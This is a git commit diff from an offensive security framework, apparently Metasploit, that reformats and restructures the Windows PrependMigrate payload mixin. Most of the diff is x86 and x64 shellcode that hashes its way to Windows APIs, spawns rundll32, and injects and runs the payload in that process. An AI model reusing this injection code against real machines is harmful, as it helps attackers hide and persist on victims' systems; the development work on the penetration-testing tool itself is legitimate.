Make asm spacing easier to read
Also adds a #prepends callback to Payload::Windows to make it a little clearer what's happening.bug/bundler_fix
parent
66d5f39057
commit
32aa2c6d9c
|
@ -1242,15 +1242,6 @@ class Exploit < Msf::Module
|
|||
not datastore['DisablePayloadHandler']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the state of the PrependMigrate option
|
||||
# See https://github.com/rapid7/metasploit-framework/pull/917
|
||||
# for discussion.
|
||||
#
|
||||
def prepend_migrate?
|
||||
!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Handler interaction
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/core/payload/windows/prependmigrate'
|
|||
###
|
||||
module Msf::Payload::Windows
|
||||
|
||||
include Msf::Payload::PrependMigrate
|
||||
include Msf::Payload::Windows::PrependMigrate
|
||||
|
||||
#
|
||||
# ROR hash associations for some of the exit technique routines.
|
||||
|
@ -25,6 +25,18 @@ module Msf::Payload::Windows
|
|||
'none' => 0x5DE2C5AA, # GetLastError
|
||||
}
|
||||
|
||||
|
||||
# @abstract Override to add additional stubs to prepend to the final
|
||||
# shellcode. Be sure to call super so other modules may add stubs.
|
||||
# @return [String] Stub to place at the begginning of generated shellcode
|
||||
def prepends
|
||||
""
|
||||
end
|
||||
|
||||
def generate(*args)
|
||||
return prepends + super
|
||||
end
|
||||
|
||||
#
|
||||
# This mixin is chained within payloads that target the Windows platform.
|
||||
# It provides special variable substitution for things like EXITFUNC and
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'msf/core'
|
|||
# This mixin provides support for generating PrependMigrate blocks for Windows payloads
|
||||
#
|
||||
###
|
||||
module Msf::Payload::PrependMigrate
|
||||
module Msf::Payload::Windows::PrependMigrate
|
||||
|
||||
#
|
||||
# Initialize
|
||||
|
@ -21,27 +21,32 @@ module Msf::Payload::PrependMigrate
|
|||
ret
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the state of the PrependMigrate option
|
||||
# See https://github.com/rapid7/metasploit-framework/pull/917
|
||||
# for discussion.
|
||||
#
|
||||
def prepend_migrate?
|
||||
!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
|
||||
end
|
||||
|
||||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def generate(*args)
|
||||
def prepends
|
||||
# Call the real generator to get the payload
|
||||
buf = super(*args)
|
||||
buf = super
|
||||
pre = ''
|
||||
|
||||
test_arch = [ *(self.arch) ]
|
||||
|
||||
if prepend_migrate?
|
||||
# Handle all x86 code here
|
||||
if test_arch.include?(ARCH_X86)
|
||||
# PrependMigrate
|
||||
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
|
||||
migrate_asm = prepend_migrate(buf)
|
||||
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
|
||||
end
|
||||
# Handle all x64 code here
|
||||
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
|
||||
# PrependMigrate
|
||||
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
|
||||
migrate_asm = prepend_migrate_64(buf)
|
||||
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
|
||||
end
|
||||
|
@ -57,28 +62,28 @@ module Msf::Payload::PrependMigrate
|
|||
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
||||
|
||||
# Prepare instructions to get address of block_api into ebp
|
||||
block_api_start = <<EOS
|
||||
block_api_start = <<-EOS
|
||||
call start
|
||||
EOS
|
||||
block_api_asm = <<EOS
|
||||
api_call:
|
||||
EOS
|
||||
block_api_asm = <<-EOS
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
|
@ -98,14 +103,14 @@ not_lowercase: ;
|
|||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
|
@ -125,7 +130,7 @@ loop_funcname: ;
|
|||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
|
@ -135,18 +140,18 @@ finish:
|
|||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp.i8 next_mod ; Process this module
|
||||
;--------------------------------------------------------------------------------------
|
||||
EOS
|
||||
block_api_ebp_asm = <<EOS
|
||||
;--------------------------------------------------------------------------------------
|
||||
EOS
|
||||
block_api_ebp_asm = <<-EOS
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
EOS
|
||||
EOS
|
||||
block_close_to_payload = ''
|
||||
|
||||
# Check if we can find block_api in the payload
|
||||
|
@ -156,27 +161,27 @@ EOS
|
|||
|
||||
# Prepare instructions to calculate address
|
||||
ebp_offset = "0x%04x" % (block_api_index + 5)
|
||||
block_api_ebp_asm = <<EOS
|
||||
block_api_ebp_asm = <<-EOS
|
||||
jmp close_to_payload
|
||||
return_from_close_to_payload:
|
||||
return_from_close_to_payload:
|
||||
pop ebp
|
||||
add ebp, #{ebp_offset}
|
||||
EOS
|
||||
EOS
|
||||
# Clear now-unneeded instructions
|
||||
block_api_asm = ''
|
||||
block_api_start = ''
|
||||
block_close_to_payload = <<EOS
|
||||
close_to_payload:
|
||||
block_close_to_payload = <<-EOS
|
||||
close_to_payload:
|
||||
call return_from_close_to_payload
|
||||
EOS
|
||||
EOS
|
||||
end
|
||||
|
||||
#put all pieces together
|
||||
migrate_asm = <<EOS
|
||||
migrate_asm = <<-EOS
|
||||
cld ; Clear the direction flag.
|
||||
#{block_api_start}
|
||||
#{block_api_asm}
|
||||
start:
|
||||
start:
|
||||
#{block_api_ebp_asm}
|
||||
; get our own startupinfo at esp+0x60
|
||||
add esp,-400 ; adjust the stack to avoid corruption
|
||||
|
@ -214,7 +219,7 @@ start:
|
|||
dec eax
|
||||
mov [edi], eax ; handle = NtCurrentProcess()
|
||||
|
||||
goodProcess:
|
||||
goodProcess:
|
||||
; allocate memory in the process (VirtualAllocEx())
|
||||
; get handle
|
||||
push 0x40 ; RWX
|
||||
|
@ -256,14 +261,14 @@ goodProcess:
|
|||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
call ebp ; Sleep( ... );
|
||||
|
||||
getcommand:
|
||||
getcommand:
|
||||
call gotcommand
|
||||
db "#{procname}"
|
||||
db 0x00
|
||||
#{block_close_to_payload}
|
||||
begin_of_payload:
|
||||
#{block_close_to_payload}
|
||||
begin_of_payload:
|
||||
call begin_of_payload_return
|
||||
EOS
|
||||
EOS
|
||||
migrate_asm
|
||||
end
|
||||
|
||||
|
@ -273,11 +278,11 @@ EOS
|
|||
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
||||
|
||||
# Prepare instructions to get address of block_api into ebp
|
||||
block_api_start = <<EOS
|
||||
block_api_start = <<-EOS
|
||||
call start
|
||||
EOS
|
||||
block_api_asm = <<EOS
|
||||
api_call:
|
||||
EOS
|
||||
block_api_asm = <<-EOS
|
||||
api_call:
|
||||
push r9 ; Save the 4th parameter
|
||||
push r8 ; Save the 3rd parameter
|
||||
push rdx ; Save the 2nd parameter
|
||||
|
@ -287,17 +292,17 @@ api_call:
|
|||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
not_lowercase: ;
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
|
@ -317,14 +322,14 @@ not_lowercase: ;
|
|||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||
add r8, rdx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
|
@ -344,7 +349,7 @@ loop_funcname: ;
|
|||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the drsired function...
|
||||
finish:
|
||||
finish:
|
||||
pop r8 ; Clear off the current modules hash
|
||||
pop r8 ; Clear off the current position in the module list
|
||||
pop rsi ; Restore RSI
|
||||
|
@ -358,17 +363,17 @@ finish:
|
|||
push r10 ; push back the return address
|
||||
jmp rax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
get_next_mod: ;
|
||||
pop rax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
get_next_mod1: ;
|
||||
pop r9 ; Pop off the current (now the previous) modules hash
|
||||
pop rdx ; Restore our position in the module list
|
||||
mov rdx, [rdx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
EOS
|
||||
block_api_rbp_asm = <<EOS
|
||||
EOS
|
||||
block_api_rbp_asm = <<-EOS
|
||||
pop rbp ; Pop off the address of 'api_call' for calling later.
|
||||
EOS
|
||||
EOS
|
||||
block_close_to_payload = ''
|
||||
|
||||
# Check if we can find block_api in the payload
|
||||
|
@ -378,27 +383,27 @@ EOS
|
|||
|
||||
# Prepare instructions to calculate address
|
||||
rbp_offset = "0x%04x" % (block_api_index + 5)
|
||||
block_api_rbp_asm = <<EOS
|
||||
block_api_rbp_asm = <<-EOS
|
||||
jmp close_to_payload
|
||||
return_from_close_to_payload:
|
||||
return_from_close_to_payload:
|
||||
pop rbp
|
||||
add rbp, #{rbp_offset}
|
||||
EOS
|
||||
EOS
|
||||
# Clear now-unneeded instructions
|
||||
block_api_asm = ''
|
||||
block_api_start = ''
|
||||
block_close_to_payload = <<EOS
|
||||
close_to_payload:
|
||||
block_close_to_payload = <<-EOS
|
||||
close_to_payload:
|
||||
call return_from_close_to_payload
|
||||
EOS
|
||||
EOS
|
||||
end
|
||||
|
||||
#put all pieces together
|
||||
migrate_asm = <<EOS
|
||||
migrate_asm = <<-EOS
|
||||
cld ; Clear the direction flag.
|
||||
#{block_api_start}
|
||||
#{block_api_asm}
|
||||
start:
|
||||
start:
|
||||
#{block_api_rbp_asm}
|
||||
; get our own startupinfo at esp+0x60
|
||||
add rsp,-400 ; adjust the stack to avoid corruption
|
||||
|
@ -433,7 +438,7 @@ start:
|
|||
dec rax
|
||||
mov [rdi], rax ; handle = NtCurrentProcess()
|
||||
|
||||
goodProcess:
|
||||
goodProcess:
|
||||
; allocate memory in the process (VirtualAllocEx())
|
||||
; get handle
|
||||
push 0x40 ; RWX
|
||||
|
@ -476,14 +481,14 @@ goodProcess:
|
|||
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
call rbp ; Sleep( ... );
|
||||
|
||||
getcommand:
|
||||
getcommand:
|
||||
call gotcommand
|
||||
db "#{procname}"
|
||||
db 0x00
|
||||
#{block_close_to_payload}
|
||||
begin_of_payload:
|
||||
#{block_close_to_payload}
|
||||
begin_of_payload:
|
||||
call begin_of_payload_return
|
||||
EOS
|
||||
EOS
|
||||
migrate_asm
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue